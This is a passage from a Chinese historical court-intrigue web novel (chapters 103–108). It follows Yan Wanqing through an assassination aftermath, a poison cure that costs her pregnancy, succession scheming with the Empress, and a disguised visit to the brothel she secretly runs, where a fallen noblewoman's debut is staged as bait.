“你昏迷的时候,孤便派人去查看方圆十里的状况了,倘若有你五妹和六妹的消息,应该过不了多久,她们就会跟着军队一起回来的。” 燕晚清听着他的话,松了一口气。 “谢谢殿下。” “燕晚清,你知道孤根本不想听这些。”萧蘋风上前掐住了她的下巴,看着双眼猩红的她,想要脱口而出的话,最终变成了一句:“你究竟想要孤怎样?” 第一百零三章 你应该庆幸,我最终选择的人是你 燕晚清看着那双黑眸,最终还是什么都没有说。 直到萧蘋风甩手出了营帐,她眼眶中的泪水才终于溢了出来。 她要做的事情与他背道而驰。 他们之间自始至终从来都不是一路人。 她哭得伤心欲绝,却根本不知道,营帐之外的男子根本就没有走,他沉默的站在营帐外,听着里面细碎的哭泣声,黑眸中不断的闪烁着暗沉的光芒,俊美的似妖非妖的脸上晦暗不明。 等到里面没有动静了,他才走了进去发现女子已经哭累了,睡着了。 萧蘋风细心的给他掖了掖被子,又给他用帕子沾了沾水,润湿她干裂的唇。 等做完这些之后,他便一直静默的陪伴在旁边。 不知道过了多久,外面终于传来属下的汇报,说是找到人了。 但是情况不是很好,那燕红昭受了重伤,此刻正在三里开外的驿站里。 萧蘋风看了看床榻上烧的已经糊涂的燕晚清,二话没说将她连被褥带人直接包裹住。 他抱着人翻身上马,身后带着一骑护卫队。 三里,好在是不远。 不然燕晚清是经不起长时间的颠簸的。 黑雲的速度很快,一行人到了驿站之后,就看见燕凌珍已经在驿站门口等候了。 一看见自己,燕凌珍赶紧跑过来。 “我阿姐呢!”她着急的不行。 萧蘋风示意她看自己怀中的被褥。 “发了烧,状态很不好,军医说现在有滑胎的征兆。” 燕凌珍来不及去思考太子殿下知道这件事情之后是什么后果,她现在只想救自己的阿姐。 人被送到了二楼干净的房间里,萧蘋风便让人将驿站给围了起来,防止今夜再有刺杀。 此时天已经不再下雨了,周围静谧的可怕。 自从燕晚清的马车失控,那群杀手对燕凌珍他们也失去了兴趣,除了燕红昭受了比较重的伤,其他人基本上都是小伤,现在已经包扎好了。 否极甚至还找到了马车,将燕凌珍的药箱给带了回来。 但是一直没有燕晚清的消息,这才是让他们最害怕的。 直到太子的人搜寻过来,他们才松了一口气。 原来他们追过来的方向没有错。 燕凌珍用银针扎住了燕晚清的穴位,心中十分万幸。 好在是遇到了萧蘋风,不然阿姐此番定是凶多吉少的。 红雾否极都守在门外,现在的他们根本不敢隐身起来,今天那群杀手的架势实在是吓坏了他们。 其他的人也被红雾安排在驿站的周围,一旦有任何异动,他们豁出命去,也要保护好燕晚清。 燕凌珍费了不少的功夫,才将胎给保住了。 等到她从屋子里出来,外面已经天色蒙蒙亮。 刚出门便看见萧蘋风站在门外,她愣住了。 “能进去看她么?”一夜没睡的声音,十分的沙哑低沉,原本俊美的脸上,此刻下巴的地方也冒了一些青黑色的胡渣。 燕凌珍侧开身子让到了一边,看着那尊贵的男子搬了椅子坐在了一边。 瞧着自己还在看他,那太子露出一抹浅浅的笑容:“孤让店家煮了热粥,你一夜没睡,喝完粥再去睡觉,你若是如何了,你阿姐定是会十分担心的。” 燕凌珍乖巧的点点头。 她听懂了太子爷的意思。 若是阿姐担心了,他也会跟着担心。 燕凌珍打着哈欠,摇摇晃晃的顺着台阶下去,招呼着其他的人也过来一起喝粥,顺便跟他们说一声燕晚清现在没事了,已经退烧了。 众人听到这个消息之后,心中松了一口气。 燕凌珍喝完粥又要了一碗,端到了燕红昭的屋内。 刚开门便看见燕红昭眼巴巴的盯着自己。 她的大腿上绑着木棍,不能动弹,只听见外面有人说话,又听不是很真切,急得不行。 看见六妹过来了,她刚要开口,便看见燕凌珍端着粥坐到了自己边上:“阿姐没事。” “没事就好。”燕红昭倒头躺在了枕头上,直接昏睡了过去。 燕凌珍端着粥:“……” …… 燕晚清醒过来之后,萧蘋风已经带着人走了,身边只有燕凌珍陪着。 燕凌珍见她睁开眼睛张望了一下,便知道她在找什么。 可是燕凌珍不能说。 她也不知道要说些什么。 让店家重新找来了马车,一行人便准备了一番动身回京都。 一路上都很平静。 但是安平郡主遇刺这件事,直接惊动了宫中的皇后张岚依。 听说她在宫内发了好大一通脾气,让人彻查此事。 燕晚清自己也安排了人去调查,只是一时之间查不出什么结果。 这些杀手都是训练有素,他们的人走散了之后,再回去寻找的时候,路上已经一具尸体都看不到了,加上暴雨天冲刷了所有的痕迹,只能看见打斗之后的地面泥土泛着红色和空气中充斥着血腥的气息,别的已经查无所查。 温暖的房屋内,燕晚清腿上盖着毯子,单手托着下巴,正在棋盘上摆弄着。 她的对面坐着一个身披黑袍的人。 “你还有闲情逸致下棋呢。”黑袍人忍不住开了口。 燕晚清眼皮微抬:“急不得。” “你是不急,本宫都要急死了,这群人可是下了死手啊。”黑袍人正是皇后张岚依,她听说了燕晚清的消息,赶紧就安排出宫了。 燕晚清勾唇笑了笑:“下了死手,才能说明我的价值不是么。” “真不知道怎么说你才好。”张岚依叹了一口气。 “越是这样做,就越能说明,背后之人,怕我。”她捏着黑子轻轻的扣在了棋盘上,棋盘上风云变幻,张岚依瞧不真切,只觉得一眼看过去十分晕眩,便索性不看了。 “行吧,今日出宫不光是为了看你,还有一件事情。”张岚依缓缓的开口,面色正经。 燕晚清眼皮子不抬:“娘娘是想说前不久吉祥赌坊被七皇子查收的事情么?” “果然什么都满不了你的眼睛。”张岚依一直都有暗中养一些自己的产业,不然如何供得上自己的开销还有那一大帮人。 “不过是个铺子,主力干将还在,换个地方重开便是。”燕晚清从旁边的盒子里拿出几张纸:“这里是一处铺子,之前用作酒楼,位置很好。” 皇后也不含糊,她直接收在了手里,末了不忘记夸赞燕晚清干事的效率。 “开春了,御花园的花应该都开了,娘娘若是有功夫,倒不如请一些官员家眷去御花园赏赏花。” 张岚依听完心领神会:“本宫别的干不了,但是这种联络感情唠嗑的事情,可是最擅长了。” 燕晚清点点头,近日她的势力和萧鸿深的势力在京都明争暗斗,但终究还没闹到朝堂上去。 一切就只等怀玉春闱的结果了。 见张岚依坐着还没走,燕晚清疑惑的抬头:“娘娘还有别的事情么?” 张岚依看着燕晚清明显清瘦的小脸,她上前问道:“你真打算嫁给北疆的小侯爷?” “娘娘因何发问?” “你若是选择了太子,岂不是更加有利于我们的大业。”张岚依不解的问道。 燕晚清看着她的双眸,好半饷她才平静的开口:“我若是选择了太子,大业的事情可就跟娘娘一点关系都没有了,娘娘应该庆幸的是,我最终选择的人,是你。” 第一百零四章 不好,阿姐毒发了 这话可以算的是一点都不客气了。 按照张岚依的性格必定是要直接掉脸子的。 她确实也收敛了面上的笑容,整个人阴沉了不少。 “按照郡主的意思,本宫应该感激你了?” 燕晚清捏着手里的棋子,她纤细的手指捏着一枚小小的棋子,衬托着手指越发青葱,有一种泛白冰冷的孤寂感。 “娘娘心里应该很清楚,用人不疑,疑人不用。” 她挑起眉眼看过去,满是倨傲:“何必试探。” 张岚依轻哼一声:“你这张嘴,真是一点亏都吃不得,本宫说你一句,你要回过来十句,句句都要戳人心窝子。” “娘娘可以选择不说微臣,这样也不会被戳心窝子。” 张岚依索性闭上了嘴巴:“罢了罢了,本宫说不过你,乏了,回宫了。” “娘娘留步。” 燕晚清看着张岚依起身,开口道。 张岚依侧过头看她。 “微臣若是做到了,希望娘娘能够答应一件事情。” “何事?”张岚依问道。 燕晚清摇了摇头:“娘娘只需答应便是。” “你若是提了什么难为人的——” “娘娘若是到了那个位置,这件事情定在您的能力范围之内,微臣不是这般没有分寸的人。”燕晚清打断道。 话说到了这个份上,张岚依眯着眼睛打量着今日的燕晚清。 只觉得这丫头比起前些时日又锋芒毕露了些许。 不过她确实有狂傲的资本。 张岚依忍住了自己久居高位带来的脾气,想到了虚无说的话,自己的命格和眼前的这位绑在一起,她瞬间什么气都消了。 看着张岚依消失在房间内,燕晚清将手心里的那枚黑色的棋子捏住。 目光中都是温柔。 “如果真的到了那天,我一定会想办法留你一条性命的。” 她低低的开口,说给自己听。 …… 经过了七天七夜的考试,怀玉从考场出来之后,整个人都憔悴了不少,回来便睡了一天一夜。 等醒过来之后,便开始张罗着自己和燕晚清的婚事了。 整个京都都知道安平郡主要嫁给北疆的小侯爷。 婚期定在了乞巧节那天。 天气跟着越来越炎热,距离婚期也不过两个月不到的时间。 放榜日出来的那天,怀玉正在给燕晚清放风筝玩,燕凌珍在自己的药房里捣鼓着解药。 仆人们兴高采烈的说宫里的人过来了,怀玉高中了状元。 听到这个消息后,怀玉手里的风筝都跟着风飞了出去。 燕晚清露出温柔的笑意,赶紧催促着她出去接旨。 她的身子有些显怀了,眼下衣衫单薄,不适合出去见人。 接下来还会有很多人过来给怀玉庆祝高中状元的消息,燕晚清心思沉了沉。 距离上次和萧蘋风分开,她已经足足一个月没有见到他了。 这样想着,燕晚清心里也有些哽住,很快她便转移了注意力。 一切都按照她的计划进行着。 果然不出她的所料,萧鸿深将全部的注意力转移到了怀玉身上,大殿之上,直接点名让怀玉南下江南治理水患。 “你怎知江南会有水患?”怀玉从宫中回来之后,便直接钻进了燕晚清的屋子里。 燕晚清将手里的经书扣在了桌子上:“我是妖孽,会未卜先知。” “说什么屁话呢。”怀玉伸出手摸了摸她的额头:“没发烧啊。” 燕晚清勾唇笑了笑:“江南每年都要发一次水,还有就是我比较了解萧鸿深这个人而已。” “你此去江南,将红雾带上吧。” 怀玉皱眉:“她是你身边的得力干将,你给我了自己怎么办?” 燕晚清摇了摇头:“我在郡主府,明里暗里都是我的人,不碍事,横竖我不出去。倒是你南下江南,此去萧鸿深会将所有的注意力都放在你的身上。”说着燕晚清拉住了怀玉的手:“你一定要安稳的回来。” 怀玉面色凝重点了点头。 燕晚清心中又有些担忧:“上次刺杀我的人还没有头绪,这才是最让我不安的,不是萧鸿深所为,那么藏在背后的那个人究竟会是谁……” 怀玉反手拉住她的手:“想不到就不想了,船到桥头自然直。” 燕晚清点了点头,安抚性的笑了笑。 还好这样的难捱的岁月里,她有这一帮姐妹。 不至于像上一世那样单打独斗,斗的死去活来。 燕晚清身上的毒让她最近越发的嗜睡起来,整个人都没有清醒几日的时候,怀玉出发江南的时候,她是想要送一送的,但是怀玉没有让人喊醒她,等到燕晚清醒过来的时候,怀玉已经走了半日有余。 气得燕晚清骂了一上午。 她在自己清醒的时间里,开始筹备自己的婚事,今日趁着日头好,她便亲自到巷子里指挥着家丁搬箱子,看着一箱箱的被搬进去,她站在夕阳斜照的巷子里,忽然之间有了种前世今生的既视感。 燕晚清勾唇笑了笑,转身要往偏门里走,却在转身的一刹那被人捏住了手腕。 她瞬间僵硬在了原地。 只听见身后的人沙哑有低沉的嗓音响起,赫然就是跟自己一个月未见面的萧蘋风。 他拽着她的手腕。 “你怀着孤的孩子,要嫁到哪里去?” 燕晚清转过身,看到自己错愕的神情在他的黑眸中悉数呈现,鼻尖不知为何有些酸涩。 萧蘋风此时风尘仆仆,下巴处已经有了络腮胡,却不显得邋遢,反而有一种野心的俊美。 “见过太子殿下。”燕晚清稳定心神,温和的开口道。 萧蘋风朝着她走近。 燕晚清一步步后退,直至退无可退,整个人贴在了墙壁上。 只见他身上还穿着咯人的战甲,神情晦暗不明。 “孤在问你话。” 燕晚清苦笑一声:“殿下心里早就有答案了不是么?” “孤不明白。”萧蘋风眼眶里都是血丝,这一个月他过得并不是很好受:“你明明也是有感情的人,为何老是拒人于千里之外?你难道不怕怀玉知道你的肚子里怀着孤的种?” “不怕。”燕晚清目光坚定。 萧蘋风嗤笑一声:“燕晚清,你真是好样的!”他一拳砸在了她耳畔的墙壁上,声音冷冽:“可是孤不准。” “你若是敢嫁,孤便敢抢。” 燕晚清蹙眉:“太子殿下慎言!” “平日里孤将你捧在手掌心里怕化了,可是孤发现你不识抬举,一贯糟践真心,如今竟然还要怀着孤的孩子嫁给别的男子,呵……”萧蘋风低低的笑出声:“告诉你燕晚清,痴心妄想!孤的嫡长子只能出生在东宫里!” 他说到做到。 说完便转身朝着夕阳的方向走去。 燕晚清看着他的背影怔怔出神。 心中的不安越发放大。 事情终于还是到了这一步。 到了她最最害怕发生的一步。 燕晚清捂着胸口,疼的让她几乎喘不过气来,门内的人很快发现了她的异常,惊呼出门:“小姐!” 她却在黑暗来临的前一刻,还在执拗的看着夕照之下的那抹残影。 “不好,阿姐毒发了!” 第一百零五章 解除的代价,她付出了一条生命 谁也没有想到怀玉刚走没几天,燕晚清身上的千机之毒就提前发作了。 燕红昭急的不行,在院子外面来回踱步。 她不敢告诉母亲。 担心孙青莲会难受。 屋内,燕凌珍拿着手里的一颗药丸下了决心塞进了自己的嘴里。 这是她刚刚研制出来的,风险系数未知。 吃完药之后,她将燕红昭喊了进来,一脸平静的说道:“大姐现在已经稳定了,我刚刚服下了千机的解药,药效不确定,一个时辰内若是平安无事,就说明解药有用。” 后面的话她没说,但是燕红昭心里也十分清楚。 屋子里的两个人都是她生命中最重要的人。 燕红昭知道此刻的她不能软弱。 燕凌珍将手里的令牌拿了出来:“这是同仁堂堂主的身份象征,五姐姐功夫好,待会儿我若是开始流鼻血了,五姐姐便拿着这个令牌去隔壁一条街去济世堂里找张大夫,他自会召集高手过来想办法。” 事发突然,燕凌珍交代好所有的事情之后,便坐在了椅子上静静等待。 等待的功夫她也不闲着,将自己的身体情况时刻用笔墨记下来,方便待会儿张大夫带人过来研究。 这是难熬的一个时辰。 燕红昭紧张的眼皮都不敢眨一下。 燕晚清就在这个时候睁开了眼睛。 燕凌珍赶紧过去查看情况。 她先将自己已经服用了新研制的解药告诉了燕晚清,然后也说了这个药目前还不算稳定,不知道功效如何。 燕晚清听完便知道这是五妹拿自己的命在赌。 她捏紧燕凌珍的手:“傻孩子。” “阿姐不用说其他的东西,小六不想听。”燕凌珍直接开口道。 她是个大夫,自己心里有数。 千机之毒难就难在各种毒素互相牵制,她以毒攻毒想要达到中和制衡的效果,只要计量用的合适,那么便能事半功倍,还能将身体的各种机能重塑,从而达到洗髓换体的效果,只不过风险系数太高了,药她其实早就研究好了,但是迟迟不敢拿出来,也就是想要趁着这段时间多一点实验数据。 “还有一件事情。”燕凌珍慎重的开口:“阿姐应该早就知道的……” “我知道。”燕晚清用手摸了摸小腹,笑容苍白:“倘若他没有这个命来到世上,我们做什么努力都没有用。” 她和萧蘋风之间的羁绊,可能也就止于此了。 看着阿姐脆弱的模样,燕凌珍心里别提多难过了。 倘若时间再充足一点,她是完全有能力做到又把毒解了还能留住阿姐的孩子的。 这是阿姐第一个孩子啊…… 燕凌珍这段时间的相处,知道阿姐其实很在意这个孩子的。 甚至还偷偷的缝了小袜子…… 燕凌珍红了眼圈,旁边的燕红昭直接背过身去,不断用手背擦拭着眼眶中的泪水。 时间一分一秒的过去了,燕晚清目光中多了很多平静,她伸出手:“给我吧小六。” “时间还没到。”燕凌珍此刻虽说身体还没有任何异常,但是时间越久越表示安全。 燕晚清摇了摇头,她下定了决心:“阿姐陪你一起。” 她从燕凌珍的掌心里拿过捂得温热的药丸,直接吞了下去,然后躺回了榻上。 一个时辰过去了,燕凌珍激动的发现自己身体毫无异样。 “有用有用!”她给自己号脉,发现体内牵制自己的千机毒正朝着好的方向发展。 燕凌珍赶紧看向燕晚清,只见她额头上逐渐渗出了冷汗,看向自己:“孩,孩子……” 燕凌珍掀开被子,只见大滩的血水从迅速染红了被褥。 “阿姐别怕,我在。”燕凌珍红了双眼,她手指颤抖着去药箱里拿银针,却因为颤抖不敢下手。 燕凌珍抬手便给了自己一巴掌,强迫自己冷静下来。 阿姐还需要她的帮助。 燕凌珍深呼吸一口气,开始找穴位下针,然后让燕红昭去准备热水,再喊从歌进来,另外让红雾将院子围住了,不许任何人进来。 “要热水,很多的热水,我要在水里给阿姐把孩子接出来。”燕凌珍一边快速下针,一边说道。 现在让人烧热水已经是来不及,但是从歌脑子好,直接想到:“郡主府内有一处天然的温泉,六小姐可以带着小姐去那边!” 燕红昭二话不说抱着燕晚清用轻功过去了。 姐妹三人都入了水,从歌在旁边听从燕凌珍的吩咐,外面还有红雾等人守着。 燕凌珍终于可以静下心来给燕晚清接生了。 时间一分一秒的过去,等到燕凌珍满手是血的将那个已经成形的孩子捧出来的时候,众人都红了眼眶。 小小的一只,被放在了洁白的垫子上。 燕晚清全程都清醒着,她感受到生命中最重要的东西从自己的身体里脱离出去,眼眶中的泪水不断的溢出…… 看着垫子上的那一点点,她伸出手想要够一够,可是手指却在距离三寸的位置停住了。 “从歌,拿下去!”燕凌珍狠了心说道。 从歌抱着垫子便转过了身。 燕晚清手停在空中,怔怔出神,绝美苍白的脸上都是无助。 她神情很是复杂,这一刻没有人知道她在想什么。 “阿姐别怕,我们都在。”在燕晚清身后抱着她的燕红昭哽咽的开口。 燕晚清缓缓的闭上了双眼:“……嗯。” 她当了三个多月的母亲,终于在第四个月要来临的时候,失去了自己人生中第一个孩子……或许也是最后一个。 之后的很长一段时间,燕家的姐妹总能看见燕晚清手捧着一双小袜子,没有人的时候坐在屋内怔怔发呆,等到有人来了,她又变成了记忆中那个精明能干的阿姐了。 …… 燕晚清身上背负了五年的千机之毒终于解了。 解除的代价,她付出了一条生命。 她再也付不起其他任何的代价了。 燕晚清努力恢复着身体,重新拿起了长剑,日复一日的在郡主府练着武技。 后来那双小袜子被她偷偷的缝合在了贴身的物件里,就连从歌也不知道。 留给她的时间真的不多了。 她不能将自己置身于悲伤之中走不出来,让还活在世上的人为她担心,这不是她重活一世的意义。 很快,雁门关失守的消息就要传回京都了。 第一百零六章 谁都不见,保持中立 江南水患的影响很大,京都开始出现了不少流民。 燕晚清已经以皇后娘娘的名义连续施粥布饭半月有余,在百姓中赚足了好名声。 而她的母亲孙青莲更是亲力亲为,让镇国府名下的驿站收留无家可归的可怜人,不仅如此,她穿着朴素平易近人的形象也已经深入民心,在流民和百姓的心里,当她尊称为活菩萨。 镇国府这一次怒刷了一波存在感。 已经有不少大臣上书奏折夸耀镇国府这次为国为民大公无私的精神,甚至还有大臣提出要陛下给镇国府夫人诰命的呼声。 为此皇后还特意得了皇帝的授命,传唤孙青莲和燕晚清进宫,想要问问他们二人的口风。 “诰命一事实在是过于恩宠了,臣妇身为大渭的子民只当是为国为陛下效力,本就是本分,哪里还敢再去要什么赏赐呢。”孙青莲不卑不亢的说道。 张岚依看着她敬佩的点了点头:“镇国府夫人心中有大义,实在是令人钦佩啊。” “皇后娘娘谬赞了。” 既然是不愿接受诰命,那么张岚依也无需再去皇帝那边美言,便放了二人出去。 孙青莲想到好不容易进宫一趟,便提出要去贵妃娘娘那边看看。 孙涟漪此时已经临近待产,肚子已经很大了。 孙青莲身为她的长辈,自当是要去看看的。 燕晚清本来是要一起去的,但是刚走没几步,皇后娘娘身边的亲信便过来传唤,说娘娘找她有事情。 孙青莲见状说道:“既然娘娘找你有事,你便去吧,我自己可以。” “母亲可以多待一会儿,这边事情完了,女儿也要去看看表姐,和她说些体己话。”燕晚清思忖着说道。 等回到了张岚依的寝宫,只看见她已经换了一套衣服,在庭院中拿着一把竹剑翩然起舞。 见燕晚清到了,张岚依抬手便是一串剑花,她笑道:“天下都传闻,安平郡主耍的一手好剑舞,今日不知道可有幸指点一二。” 回应她的是燕晚清毫不迟疑的两声咳嗽。 “微臣病弱,拿不起长剑。” 武技正在恢复是燕晚清最后的底牌,不到特殊时刻,她不想轻易示人。 更何况这么长时间都是个病秧子,她已经将神态动作拿捏的死死的,可以轻易蒙骗别人的眼睛。 张岚依见状遗憾的长叹一口气,将手里的竹剑交给了身边的丫鬟。 “你知道七皇子身边最近出现了一个得力干将么?” 燕晚清眼光闪烁,没吭声等待皇后继续说下去。 张岚依示意她坐下。 “是个叫柴右的,春闱的时候没有特别出色,据说早就是七皇子的入幕之宾了,最近跟着七皇子做出了不少业绩,陛下都看在眼里,赞不绝口,最近他找到了本宫这里。” “是想要替七皇子拉拢娘娘?”燕晚清缓缓的开口。 张岚依眼中闪过笑意:“哎呀跟你说话就是舒服,本宫这边话还没有说完呢,你就全知道了,真是省事情。”她端起桌子上的热茶,放在唇畔吹了吹,浅浅的饮了一口。 “好茶。”入口苦涩,后劲回甘。 “你最近的动静可真不小,打着本宫的名义做了不少好事,现在外面那些大臣都将本宫夸上天了。”张岚依现在的寝宫里还放着不少今日陛下打赏的东西呢。 “但是找本宫的人不止一个柴右。”张岚依又说道。 燕晚清眼皮子不眨,看着张岚依给自己续上茶水:“吴城南也找了娘娘。” “吴城南可是太子身边的人。”张岚依咋舌:“这突然之间,皇位的两位优秀竞争者都找到了本宫这边,都想要拉拢本宫,啧啧……真是让本宫受宠若惊呢。” “这应该是吴城南自己的意思,太子为人不会做出拉帮结派的事情。”燕晚清端起茶盏,抿了一口,确实是好茶。 张岚依看着她表情冷情,目光笃定,红唇微勾:“你对太子倒是从不吝啬赞美。” “天下人有目共睹的事情,多微臣一个也不多。” “你且说说本宫现在选谁?”张岚依压低了声音问道。 燕晚清低眸不卑不亢:“皇后娘娘谁也不选。” 她做了这么多可不是让皇后去站在谁的身后支持谁的。 “谁都不见,保持中立,继续在朝中博名声,孙贵妃腹中的胎儿就要落地了。”燕晚清眼眸中的光芒晦暗不明。 张岚依挑眉,所有的话语点到为止,大家都心领神会。 时间不多了。 两个皇子夺嫡,她坐山观虎斗,皇帝的身体一日不如一日,朝中老臣此时已经受了她的恩惠,届时由她出面处理朝中之事,也不是不可能的事情。 只是唯一不确定的是。 “倘若贵妃腹中胎儿是个公主……” 燕晚清目光笃定:“皇后娘娘放心,贵妃娘娘腹中是也只能是个皇子。” “刚刚你母亲在,本宫不方便跟你说这些事情,刚且迷惑,眼下已经恍然大悟。”张岚依心中有所依,松了一口气。 燕晚清就在这时突然来了一句。 “特殊时期,皇后娘娘最近还是少出宫礼佛比较好,人多眼杂,以防万一。”她盯着张岚依,虽说是在劝诫,但是更多的是警告:“小不忍则乱大谋,娘娘身居高位,此时太子和七皇子的眼线都在盯着您,切莫因小失大,给他人带去危险。” 虚无和皇后之间的事情,她燕晚清并不感兴趣。 自从上次派人探了虚无的底之后,她便彻底失去了兴趣。 也是个扮猪吃虎的主,既然有皇后张岚依牵制着,她燕晚清也不想花费太多的心神在一个和尚身上,前世的记忆中这个和尚临到她死的那一刻,记忆里都是缺失的。 看来不是什么重要的人物。 “接下来,微臣希望娘娘能够把控全局,力挽狂澜。” 张岚依自然是知道这件事情非同小可,眼下她们都是一条绳上的蚂蚱,孰轻孰重心里也有一杆秤托,不过对于眼前这个看似世间一切都尽在掌握的小丫头,她也是有点反骨的。 原本某人托她转告的事情,她突然就不想说了。 “本宫心里有数,成败在此一举,本宫惜命的很。” 她还这么年轻,可不想陪葬。 “如此,微臣今日便告退了。”燕晚清提出了离开。 张岚依看着她的背影,突然叹了一口气:“这丫头这性子,真是不讨喜。” “忍忍,你是长辈,和她计较什么。”一道说话绵软的女声走到了张岚依的旁边,将手里的竹剑递了过去:“你也是,我跟你说的话你也不提醒她一下,到时候真怕是难收场啊。” 张岚依白了一眼模样俏丽的宫女,冷哼一声接过竹剑。 “她不是什么都运筹帷幄么,本宫倒要看看这件事情她怎么幄!” 宫女拿她没辙,目光中满是宠溺的看着她舞起了长剑。 第一百零七章 烟花巷,拍人 燕晚清到孙涟漪的寝宫找母亲,在门外便听见里面传来了欢声笑语。 但是等她一进门,笑声便戛然而止了。 自从上次一见,姐妹二人便再也没有见过面了。 孙涟漪看着燕晚清清瘦的面庞,面上闪过不太自然的笑容。 “见过贵妃娘娘。”燕晚清率先开了口,孙涟漪便赶紧让宫人去服侍她落座。 燕晚清看着孙涟漪的肚子,已经非常大了,她眼神中闪过悲伤,但是很快便移开了视线。 孙青莲和孙涟漪聊着马上要生产的需要注意的事项,燕晚清就坐在旁边吃着瓜果安静的听着,聊了好一会儿,孙青莲才看着外面天色不早了,提出要离开。 燕晚清便是时候说了两句体己的话,母女二人起身离开。 孙涟漪看着她的背影。 她回想起那个锦囊还在放在自己的妆匣的最里面。 孙涟漪让人扶着自己走到了镜子前面,她缓缓的打开了最下面一层。 那个锦囊安然无恙的躺在里面。 “陛下给郡主赐婚了,是谁家的公子?”孙涟漪最近忘性大,说过的事情总是要再让宫人提醒一次。 宫人温柔的回答:“是北疆的小侯爷。” “想起来了。”她一下子恍然大悟,但是又疑惑的问道:“听说小侯爷现在在京都,为何今日不跟着一起进宫呢?” “回禀贵妃娘娘,小侯爷前些时日被陛下派到江南治理水患了。” 话音刚落,孙涟漪手里的象牙梳子一下子掉在了地上。 “娘娘!”宫人惊呼出声。 孙涟漪却直接摆手道:“你们都下去,本宫想要自己一个人待会儿。” 宫人们没辙,只能悉数退了出去。 另一边马车上。 孙青莲疑惑的看着燕晚清问道:“你怎么这次进宫好似和你堂姐疏远了。” 燕晚清将心思从书里面抽出来,回答:“母亲的错觉,女儿与堂姐一直都是这般。” 孙涟漪究竟会做什么样子的选择,她也没有定论,也无权干涉。 孙青莲见她表情平淡,当下也不在说些什么,马车缓缓的朝着宫外驶去。 “待会儿母亲先回去吧,女儿还有事情要忙。”燕晚清突然抬头说道。 孙青莲看着她的模样:“你最近都在忙些什么?从歌说你经常不着家。” “江南水患比较严重,京城出现了很多流民,女儿有些担心,今日想亲自去接小六下学。”燕晚清眼皮子不眨的撒着谎。 果然孙青莲听到这里也就不再多问了。 燕晚清下了马车,径直去了一家成衣店,之后就再也没有出来过。 京都最大的花街柳巷。 临近夜晚,歌舞升平,多得是烟花女子在楼阁之上巧笑倩兮,这里是所有青年才俊的**冢。 谭妈妈是这条烟花巷表面上的最大老板,不过三十出头的年纪,风韵犹存,总是穿着一袭翠绿色的罗裙,手里持着一把美人扇,在烟花巷里巡视着。 看着她逢人便笑脸迎过去,但是却没有几个客人有胆子刚上前对她不尊敬的。 也不是谭妈妈不美,前几年秦淮河上的名妓她可是名动天下的第一位,将她与刚出来的花魁放在一块,那也是平分秋色,丝毫不会因为上了年纪而影响到她石榴裙下的男客人。 大家对她望而却步的原因是因为谭妈妈的手段。 上一秒还跟你谈笑风生,下一秒便可以杀人如麻。 而且她背后的势力实在是强大,可以说,整条烟花巷她说一便没有人敢说二。 可是今日谭妈妈身边却多了一位一身蓝袍的小哥。 那小哥模样清秀,脸颊上还有一道刀疤,放在人群中不是多显眼的脸,但是站在久经商场的谭妈妈身边,竟然毫不褪色,甚至在气场上还多了几分霸道的意思。 路过的人都在猜测,这个人莫不就是谭妈妈最近的新宠。 谭云顶着一众人的目光,面上嬉笑着倒在身边人的怀中,心里却是十分忐忑。 “主子,怎么说都不说一声就来了。” 是的,眼前这个不起眼的小哥就是整条烟花巷的主子——燕晚清。 燕晚清从成衣店后门出去就已经换了一身打扮,她搂着谭云的细腰打趣道:“怎么样,我这易容的本事没退步吧。” “第一眼属下都没有认出来。”谭云说起刚刚,也是惊魂甫定,她道是哪个不长眼的敢来调戏她。 燕晚清露出一抹痞笑:“走吧,带小爷去看看,今日可是那云歌花魁的首秀。” 谭云见她提起云歌,忍不住说道:“那丫头来了几个月了,还当自己是大小姐呢,一直摆着臭架子,倘若不是那副皮囊,属下早就让人好好收拾她了。” 云歌,就是当时林家的大小姐,林嫣然。 在被发配的路上,她因为模样实在是太美了,士兵们见色起意,被燕晚的手下给救走了,送到了烟花巷来。 听说她前面还胆小怕事,后面仗着自己长得好看,便开始在烟花巷作威作福,让谭妈妈的人憋了一肚子的气。 但是碍于燕晚清的交代,这些时日谭妈妈也就只派人教导她一些勾人的东西。 “真是可惜了,您要是不开这个口,属下手里也是多得是折磨人的法子呢。”谭妈妈响起云歌就忍不住想要跟燕晚清抱怨。 “好好好,这段时间辛苦你了,横竖今晚便要将人送走了,你想要什么奖励,跟你主子直接提便是。”燕晚清搂着她往前走,一边态度亲昵的说道。 谭妈妈听了心情瞬间变好了,用帕子捂着唇笑出声了:“有了主子的这份首肯,那属下也不客气,要狮子大开口了。” 燕晚清伸出手点了点她的鼻尖:“我什么时候亏待过你们。” 谭妈妈娇笑着倒在她的怀中,外人看来她俨然是喜欢这个刀疤小哥喜欢的厉害。 烟花巷的最佳观赏位置一直是顶楼的一号包厢,这间包厢从来没有对外开过,但是今日谭妈妈带着燕晚清直接进去了,所有人都看见那本来漆黑的房间里亮起了灯光。 大家原本以为是谭妈妈要为新花魁云歌造势,谁也没有想到她身边那个不起眼的小哥才是真正的主子,这一号包厢本就是他的专属包厢。 “今日来的人不少。”燕晚清站在窗户边上,慢慢的推开了一条缝,看见了下面不少熟悉的面孔。 多得是朝中的达官贵人。 谭妈妈扭着腰肢靠过来:“可不是,这云歌之前是京都第一美人,眼下沦落烟花之地,之前对她望而却步的公子哥,现在都愿意花重金看她首秀了。” “放在手里这么久了,今夜便能卖个好价钱。”谭妈妈说着心情颇好的去倒酒:“想想,属下这心里就开心极了。” 燕晚清接过她递过来的酒盏,喝了一口:“有点烈。” 谭妈妈娇笑着打趣:“主子当年在塞北喝烈酒吃羊肉的时候,可没有嫌弃过那些酒烈,现在这京都细粮酿制的酒水,哪里算得上是烈酒啊。” “你也说了是当年。”燕晚清丝毫不生气:“今非昔比了。” “主子下了这么一大盘棋,那林嫣然当真就这么重要?”谭妈妈问出了大家心里都想要问的问题。 燕晚清玩世不恭的脸上都是戏谑:“她不重要,今天晚上拍下她的人才重要。” 第一百零八章 鱼儿,已经上钩了 只见一阵烟雾缭绕之后,丝竹管乐平地而起,台下众人的热情迅速被点燃了。 只看见一群蒙面女子抱着琵琶从烟雾中跑上台,在舞台的中央绕着圈,又是一阵烟雾之后,云歌恍若九天神女一般从天而降,她轻轻的吟唱,在空中飞来飞去,真的就像是一个仙女下凡一般…… 此等情景让燕晚清微微挑眉,她抬手招来了谭妈妈。 “这是谁想的?”总不可能是林嫣然吧。 那个花瓶草包还有这种想法呢? 说起这个,谭妈妈忍不住说道:“前些时日在河里救了个人,见她姿色不错便让她进了烟花巷,她死活要卖艺不卖身,这就是她给林嫣然想的,说是舞台效果。” 